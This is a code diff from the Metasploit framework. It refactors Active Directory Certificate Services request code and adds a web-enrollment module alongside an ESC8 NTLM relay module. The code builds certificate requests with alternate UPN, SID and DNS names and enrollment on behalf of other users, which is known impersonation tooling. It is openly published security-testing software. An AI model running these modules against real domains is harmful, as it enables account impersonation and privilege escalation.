def request_certificate(opts = {})
|
||||
@@ -150,42 +112,25 @@ module Exploit::Remote::MsIcpr
|
||||
end
|
||||
|
||||
def do_request_cert(icpr, opts)
|
||||
rsa_key_size = (opts[:rsa_key_size] || datastore['RSAKeySize']).to_i
|
||||
private_key = OpenSSL::PKey::RSA.new(rsa_key_size)
|
||||
vprint_status("RSA key size: #{rsa_key_size}")
|
||||
# Calls to this come from different places with different imports
|
||||
# and different opts hash values, so we need this here to make
|
||||
# sure all the data we need is populated
|
||||
user = opts[:username] || datastore['SMBUser']
|
||||
rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i
|
||||
private_key = opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size)
|
||||
if private_key.n.num_bits != rsa_key_size
|
||||
elog("RSA key size mismatch")
|
||||
raise ArgumentError, "RSA key size mismatch in do_request_cert"
|
||||
end
|
||||
opts[:private_key] = private_key
|
||||
opts[:username] = user
|
||||
status_msg = "Requesting a certificate for user #{user}"
|
||||
alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'])
|
||||
alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
|
||||
alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
|
||||
algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
|
||||
application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
|
||||
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
|
||||
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
|
||||
status_msg << " - digest algorithm: #{algorithm}" if algorithm
|
||||
csr = build_csr(
|
||||
cn: user,
|
||||
private_key: private_key,
|
||||
dns: alt_dns,
|
||||
msext_sid: alt_sid,
|
||||
msext_upn: alt_upn,
|
||||
algorithm: algorithm,
|
||||
application_policies: application_policies
|
||||
)
|
||||
|
||||
on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
|
||||
status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
|
||||
if @pkcs12 && on_behalf_of
|
||||
vprint_status("Building certificate request on behalf of #{on_behalf_of}")
|
||||
csr = build_on_behalf_of(
|
||||
csr: csr,
|
||||
on_behalf_of: on_behalf_of,
|
||||
cert: @pkcs12.certificate,
|
||||
key: @pkcs12.key,
|
||||
algorithm: algorithm
|
||||
)
|
||||
end
|
||||
|
||||
csr = create_csr(opts)
|
||||
cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE']
|
||||
status_msg << " - template: #{cert_template}"
|
||||
attributes = { 'CertificateTemplate' => cert_template }
|
||||
@@ -201,6 +146,7 @@ module Exploit::Remote::MsIcpr
|
||||
attributes['SAN'] = san.join('&') unless san.empty?
|
||||
|
||||
vprint_status(status_msg)
|
||||
|
||||
response = icpr.cert_server_request(
|
||||
attributes: attributes,
|
||||
authority: datastore['CA'],
|
||||
@@ -301,139 +247,6 @@ module Exploit::Remote::MsIcpr
|
||||
pkcs12
|
||||
end
|
||||
|
||||
# Make a certificate signing request.
|
||||
#
|
||||
# @param [String] cn The common name for the certificate.
|
||||
# @param [OpenSSL::PKey] private_key The private key for the certificate.
|
||||
# @param [String] dns An alternative DNS name to use.
|
||||
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
|
||||
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
|
||||
# @param [String] algorithm The algorithm to use when signing the CSR.
|
||||
# @param [Array<String>] application_policies OIDs to add as application policies.
|
||||
# @return [OpenSSL::X509::Request] The request object.
|
||||
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
|
||||
Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request|
|
||||
extensions = []
|
||||
|
||||
subject_alt_names = []
|
||||
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
|
||||
|
||||
if msext_sid
|
||||
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
|
||||
subject_alt_names << "URI = #{msext_sid}"
|
||||
end
|
||||
|
||||
subject_alt_names << "DNS = #{dns}" if dns
|
||||
|
||||
unless subject_alt_names.empty?
|
||||
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
|
||||
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
|
||||
# The config file requires an identifier we define at the top of the file [alt_names]
|
||||
subject_alt_names.prepend("[alt_names]")
|
||||
subject_alt_names_conf = subject_alt_names.join("\n")
|
||||
config = OpenSSL::Config.parse(subject_alt_names_conf)
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.config = config
|
||||
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
|
||||
end
|
||||
|
||||
if msext_sid
|
||||
ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
|
||||
type_id: OID_NTDS_OBJECTSID,
|
||||
value: msext_sid
|
||||
})
|
||||
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
|
||||
end
|
||||
|
||||
unless application_policies.blank?
|
||||
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
|
||||
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
|
||||
)
|
||||
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
|
||||
end
|
||||
|
||||
unless extensions.empty?
|
||||
request.add_attribute(OpenSSL::X509::Attribute.new(
|
||||
'extReq',
|
||||
OpenSSL::ASN1::Set.new(
|
||||
[OpenSSL::ASN1::Sequence.new(extensions)]
|
||||
)
|
||||
))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Make a certificate request on behalf of another user.
|
||||
#
|
||||
# @param [OpenSSL::X509::Request] csr The certificate request to make on behalf of the user.
|
||||
# @param [String] on_behalf_of The user to make the request on behalf of.
|
||||
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
|
||||
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
|
||||
# @param [String] algorithm The digest algorithm to use.
|
||||
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
|
||||
def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
|
||||
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
|
||||
digest = OpenSSL::Digest.new(algorithm)
|
||||
unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
|
||||
raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
|
||||
end
|
||||
|
||||
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
|
||||
|
||||
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
|
||||
version: 1,
|
||||
sid: {
|
||||
issuer: cert.issuer,
|
||||
serial_number: cert.serial.to_i
|
||||
},
|
||||
digest_algorithm: {
|
||||
algorithm: digest_oid
|
||||
},
|
||||
signed_attrs: [
|
||||
{
|
||||
attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
|
||||
attribute_values: [
|
||||
RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
|
||||
name: 'requestername',
|
||||
value: on_behalf_of
|
||||
))
|
||||
]
|
||||
},
|
||||
{
|
||||
attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
|
||||
attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
|
||||
}
|
||||
],
|
||||
signature_algorithm: {
|
||||
algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
|
||||
}
|
||||
)
|
||||
data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
|
||||
signature = key.sign(digest, data)
|
||||
|
||||
signer_info[:signature] = signature
|
||||
|
||||
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
|
||||
version: 3,
|
||||
digest_algorithms: [
|
||||
{
|
||||
algorithm: digest_oid
|
||||
}
|
||||
],
|
||||
encap_content_info: {
|
||||
econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
|
||||
econtent: csr.to_der
|
||||
},
|
||||
certificates: [{ openssl_certificate: cert }],
|
||||
signer_infos: [signer_info]
|
||||
)
|
||||
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
|
||||
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
|
||||
data: signed_data
|
||||
)
|
||||
end
|
||||
|
||||
# Get the certificate policy OIDs from the certificate.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
|
||||
@@ -27,8 +27,10 @@ module Rex
|
||||
SHA256 = '2.16.840.1.101.3.4.2.1'
|
||||
ContentType = '1.2.840.113549.1.9.3'
|
||||
MessageDigest = '1.2.840.113549.1.9.4'
|
||||
SHA512 = '2.16.840.1.101.3.4.2.3'
|
||||
RSAWithSHA1 = '1.2.840.113549.1.1.5'
|
||||
RSAWithSHA256 = '1.2.840.113549.1.1.11'
|
||||
RSAWithSHA512 = '1.2.840.113549.1.1.13'
|
||||
PkinitAuthData = '1.3.6.1.5.2.3.1'
|
||||
SignedData = '1.2.840.113549.1.7.2'
|
||||
end
|
||||
|
||||
@@ -1,5 +1,17 @@
|
||||
module Rex::Proto::X509
|
||||
|
||||
# [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71)
|
||||
OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze
|
||||
# [2.2.2.7.5 szOID_NT_PRINCIPAL_NAME](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/ea9ef420-4cbf-44bc-b093-c4175139f90f)
|
||||
OID_NT_PRINCIPAL_NAME = '1.3.6.1.4.1.311.20.2.3'.freeze
|
||||
# [[MS-WCCE]: Windows Client Certificate Enrollment Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-winerrata/c39fd72a-da21-4b13-b329-c35d61f74a60)
|
||||
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze
|
||||
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
|
||||
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze
|
||||
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
|
||||
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
|
||||
SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:"
|
||||
|
||||
class Request
|
||||
def self.create_csr(private_key, cn, algorithm = 'SHA256')
|
||||
request = OpenSSL::X509::Request.new
|
||||
@@ -13,6 +25,139 @@ module Rex::Proto::X509
|
||||
request.sign(private_key, OpenSSL::Digest.new(algorithm))
|
||||
request
|
||||
end
|
||||
# Make a certificate signing request.
|
||||
#
|
||||
# @param [String] cn The common name for the certificate.
|
||||
# @param [OpenSSL::PKey] private_key The private key for the certificate.
|
||||
# @param [String] dns An alternative DNS name to use.
|
||||
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
|
||||
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
|
||||
# @param [String] algorithm The algorithm to use when signing the CSR.
|
||||
# @param [Array<String>] application_policies OIDs to add as application policies.
|
||||
# @return [OpenSSL::X509::Request] The request object.
|
||||
def self.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
|
||||
Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request|
|
||||
extensions = []
|
||||
|
||||
subject_alt_names = []
|
||||
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
|
||||
|
||||
if msext_sid
|
||||
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
|
||||
subject_alt_names << "URI = #{msext_sid}"
|
||||
end
|
||||
|
||||
subject_alt_names << "DNS = #{dns}" if dns
|
||||
|
||||
unless subject_alt_names.empty?
|
||||
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
|
||||
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
|
||||
# The config file requires an identifier we define at the top of the file [alt_names]
|
||||
subject_alt_names.prepend("[alt_names]")
|
||||
subject_alt_names_conf = subject_alt_names.join("\n")
|
||||
config = OpenSSL::Config.parse(subject_alt_names_conf)
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.config = config
|
||||
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
|
||||
end
|
||||
|
||||
if msext_sid
|
||||
ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
|
||||
type_id: OID_NTDS_OBJECTSID,
|
||||
value: msext_sid
|
||||
})
|
||||
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
|
||||
end
|
||||
|
||||
unless application_policies.blank?
|
||||
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
|
||||
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
|
||||
)
|
||||
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
|
||||
end
|
||||
|
||||
unless extensions.empty?
|
||||
request.add_attribute(OpenSSL::X509::Attribute.new(
|
||||
'extReq',
|
||||
OpenSSL::ASN1::Set.new(
|
||||
[OpenSSL::ASN1::Sequence.new(extensions)]
|
||||
)
|
||||
))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Make a certificate request on behalf of another user.
|
||||
#
|
||||
# @param [OpenSSL::X509::Request] csr The certificate request to make on behalf of the user.
|
||||
# @param [String] on_behalf_of The user to make the request on behalf of.
|
||||
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
|
||||
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
|
||||
# @param [String] algorithm The digest algorithm to use.
|
||||
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
|
||||
def self.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
|
||||
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
|
||||
digest = OpenSSL::Digest.new(algorithm)
|
||||
unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
|
||||
raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
|
||||
end
|
||||
|
||||
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
|
||||
|
||||
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
|
||||
version: 1,
|
||||
sid: {
|
||||
issuer: cert.issuer,
|
||||
serial_number: cert.serial.to_i
|
||||
},
|
||||
digest_algorithm: {
|
||||
algorithm: digest_oid
|
||||
},
|
||||
signed_attrs: [
|
||||
{
|
||||
attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
|
||||
attribute_values: [
|
||||
RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
|
||||
name: 'requestername',
|
||||
value: on_behalf_of
|
||||
))
|
||||
]
|
||||
},
|
||||
{
|
||||
attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
|
||||
attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
|
||||
}
|
||||
],
|
||||
signature_algorithm: {
|
||||
algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
|
||||
}
|
||||
)
|
||||
data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
|
||||
signature = key.sign(digest, data)
|
||||
|
||||
signer_info[:signature] = signature
|
||||
|
||||
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
|
||||
version: 3,
|
||||
digest_algorithms: [
|
||||
{
|
||||
algorithm: digest_oid
|
||||
}
|
||||
],
|
||||
encap_content_info: {
|
||||
econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
|
||||
econtent: csr.to_der
|
||||
},
|
||||
certificates: [{ openssl_certificate: cert }],
|
||||
signer_infos: [signer_info]
|
||||
)
|
||||
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
|
||||
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
|
||||
data: signed_data
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::WebEnrollment
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(_info = {})
|
||||
super({
|
||||
'Name' => 'AD/CS Authenticated Web Enrollment Services Module',
|
||||
'Description' => %q{
|
||||
Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create
|
||||
certificates based on available templates.
|
||||
},
|
||||
'Author' => [
|
||||
'bwatters-r7',
|
||||
'jhicks-r7', # query for available certs
|
||||
'Spencer McIntyre'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
})
|
||||
deregister_options('HttpUsername', 'HttpPassword')
|
||||
register_options([
|
||||
Opt::RPORT(80),
|
||||
OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]),
|
||||
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
|
||||
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
|
||||
])
|
||||
register_advanced_options([
|
||||
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
|
||||
])
|
||||
@issued_certs = {}
|
||||
end
|
||||
|
||||
def validate
|
||||
super
|
||||
case datastore['MODE']
|
||||
when 'SPECIFIC_TEMPLATE'
|
||||
if datastore['CERT_TEMPLATE'].blank?
|
||||
raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
|
||||
end
|
||||
when 'ALL', 'QUERY_ONLY'
|
||||
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
|
||||
print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.')
|
||||
end
|
||||
end
|
||||
setup
|
||||
end
|
||||
|
||||
def pull_domain(target_ip, target_uri)
|
||||
temp_username = datastore['HttpUsername']
|
||||
temp_password = datastore['HttpPassword']
|
||||
begin
|
||||
vprint_status("Checking #{target_ip} URL #{target_uri}")
|
||||
# datastore and options must be nil to fail login so we get ntlm challenge
|
||||
datastore['HttpUsername'] = nil
|
||||
datastore['HttpPassword'] = nil
|
||||
res = send_request_cgi({
|
||||
'rhost' => target_ip,
|
||||
'encode' => true,
|
||||
'username' => nil,
|
||||
'password' => nil,
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' }
|
||||
})
|
||||
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
|
||||
vprint_error('Unable to Connect')
|
||||
return
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error('Timeout error')
|
||||
return
|
||||
ensure
|
||||
datastore['HttpUsername'] = temp_username
|
||||
datastore['HttpPassword'] = temp_password
|
||||
end
|
||||
datastore['HttpUsername'] = temp_username
|
||||
datastore['HttpPassword'] = temp_password
|
||||
|
||||
return nil if res.nil?
|
||||
|
||||
unless res && res.code == 401
|
||||
print_bad("Incorrect status code returned checking for domain: #{res.code}")
|
||||
return nil
|
||||
end
|
||||
unless res['WWW-Authenticate']
|
||||
print_bad('Target does not appear to support Windows Authentication.')
|
||||
return nil
|
||||
end
|
||||
unless res['WWW-Authenticate'].match(/^NTLM/i)
|
||||
print_bad('Target does not appear to support NTLM.')
|
||||
return nil
|
||||
end
|
||||
|
||||
hash = res['WWW-Authenticate'].split('NTLM ')[1]
|
||||
return nil if hash.nil?
|
||||
|
||||
# Parse out the NTLM and get the Target Information Data containing the domain name
|
||||
|
||||
begin
|
||||
message = Net::NTLM::Message.parse(Base64.decode64(hash))
|
||||
ti = Net::NTLM::TargetInfo.new(message.target_info)
|
||||
ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME]
|
||||
rescue StandardError => e
|
||||
vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}")
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(target_ip)
|
||||
validate
|
||||
if datastore['HTTP::Auth'] == 'ntlm' || datastore['HTTP::Auth'] == 'auto'
|
||||
queried_domain = pull_domain(target_ip, target_uri)
|
||||
if queried_domain.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry')
|
||||
end
|
||||
|
||||
# The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit.
|
||||
# We need to normalize it so we can do the string compares later
|
||||
datastore_domain = datastore['DOMAIN']
|
||||
queried_domain.force_encoding('UTF-16LE')
|
||||
queried_domain = queried_domain.encode(datastore_domain.encoding)
|
||||
|
||||
if datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain
|
||||
fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}")
|
||||
end
|
||||
connection_identity = queried_domain + '\\' + datastore['HttpUsername']
|
||||
end
|
||||
http_client = connect(
|
||||
{
|
||||
'rhost' => target_ip,
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'headers' => {
|
||||
'Accept-Encoding' => 'identity'
|
||||
}
|
||||
}
|
||||
)
|
||||
case datastore['MODE']
|
||||
when 'ALL', 'QUERY_ONLY'
|
||||
cert_templates = get_cert_templates(http_client)
|
||||
unless cert_templates.nil? || cert_templates.empty?
|
||||
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
|
||||
print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}")
|
||||
if datastore['MODE'] == 'ALL'
|
||||
retrieve_certs(target_ip, http_client, connection_identity, cert_templates)
|
||||
end
|
||||
end
|
||||
when 'SPECIFIC_TEMPLATE'
|
||||
cert_template = datastore['CERT_TEMPLATE']
|
||||
retrieve_cert(target_ip, http_client, connection_identity, cert_template)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include ::Msf::Exploit::Remote::SMB::RelayServer
|
||||
include ::Msf::Exploit::Remote::HttpClient
|
||||
include ::Msf::Exploit::Remote::HTTP::WebEnrollment
|
||||
|
||||
def initialize(_info = {})
|
||||
super({
|
||||
@@ -27,6 +28,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 relay server' } ]],
|
||||
'DefaultOptions' => { 'HTTP::Auth' => 'ntlm' },
|
||||
'PassiveActions' => [ 'Relay' ],
|
||||
'DefaultAction' => 'Relay'
|
||||
})
|
||||
@@ -44,6 +46,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
|
||||
]
|
||||
)
|
||||
@issued_certs = {}
|
||||
end
|
||||
|
||||
def relay_targets
|
||||
@@ -87,22 +90,28 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def validate
|
||||
super
|
||||
errors = {}
|
||||
unless datastore['HTTP::Auth'] == 'ntlm'
|
||||
errors['HTTP::Auth'] = 'This module only supports NTLM authentication.'
|
||||
end
|
||||
|
||||
case datastore['MODE']
|
||||
when 'SPECIFIC_TEMPLATE'
|
||||
if datastore['CERT_TEMPLATE'].blank?
|
||||
raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
|
||||
errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.'
|
||||
end
|
||||
when 'ALL', 'AUTO', 'QUERY_ONLY'
|
||||
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
|
||||
print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.')
|
||||
end
|
||||
end
|
||||
|
||||
raise OptionValidateError, errors unless errors.empty?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def run
|
||||
@issued_certs = {}
|
||||
relay_targets.each do |target|
|
||||
vprint_status("Checking endpoint on #{target}")
|
||||
check_code = check_host(target.ip)
|
||||
@@ -119,125 +128,27 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def on_relay_success(relay_connection:, relay_identity:)
|
||||
target_ip = relay_connection.target.ip
|
||||
case datastore['MODE']
|
||||
when 'AUTO'
|
||||
cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User']
|
||||
retrieve_certs(relay_connection, relay_identity, cert_template)
|
||||
retrieve_certs(target_ip, relay_connection, relay_identity, cert_template)
|
||||
when 'ALL', 'QUERY_ONLY'
|
||||
cert_templates = get_cert_templates(relay_connection)
|
||||
unless cert_templates.nil? || cert_templates.empty?
|
||||
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
|
||||
print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}")
|
||||
if datastore['MODE'] == 'ALL'
|
||||
retrieve_certs(relay_connection, relay_identity, cert_templates)
|
||||
retrieve_certs(target_ip, relay_connection, relay_identity, cert_templates)
|
||||
end
|
||||
end
|
||||
when 'SPECIFIC_TEMPLATE'
|
||||
cert_template = datastore['CERT_TEMPLATE']
|
||||
retrieve_cert(relay_connection, relay_identity, cert_template)
|
||||
retrieve_cert(target_ip, relay_connection, relay_identity, cert_template)
|
||||
end
|
||||
|
||||
vprint_status('Relay tasks complete; waiting for next login attempt.')
|
||||
relay_connection.disconnect!
|
||||
end
|
||||
|
||||
def create_csr(private_key, cert_template)
|
||||
vprint_status('Generating CSR...')
|
||||
request = Rex::Proto::X509::Request.create_csr(private_key, cert_template)
|
||||
vprint_status('CSR Generated')
|
||||
request
|
||||
end
|
||||
|
||||
def get_cert_templates(relay_connection)
|
||||
print_status('Retrieving available template list, this may take a few minutes')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'client' => relay_connection,
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'certrqxt.asp')
|
||||
}
|
||||
)
|
||||
return nil unless res&.code == 200
|
||||
|
||||
cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
|
||||
print_bad('Found no available certificate templates') if cert_templates.empty?
|
||||
cert_templates
|
||||
end
|
||||
|
||||
def add_cert_entry(relay_identity, cert_template)
|
||||
if @issued_certs.key?(relay_identity)
|
||||
@issued_certs[relay_identity] << cert_template
|
||||
else
|
||||
@issued_certs[relay_identity] = [ cert_template ]
|
||||
end
|
||||
end
|
||||
|
||||
def retrieve_certs(relay_connection, relay_identity, cert_templates)
|
||||
cert_templates.each do |cert_template|
|
||||
retrieve_cert(relay_connection, relay_identity, cert_template)
|
||||
end
|
||||
end
|
||||
|
||||
def cert_issued?(relay_identity, cert_template)
|
||||
!!@issued_certs[relay_identity]&.include?(cert_template)
|
||||
end
|
||||
|
||||
def retrieve_cert(relay_connection, relay_identity, cert_template)
|
||||
if cert_issued?(relay_identity, cert_template)
|
||||
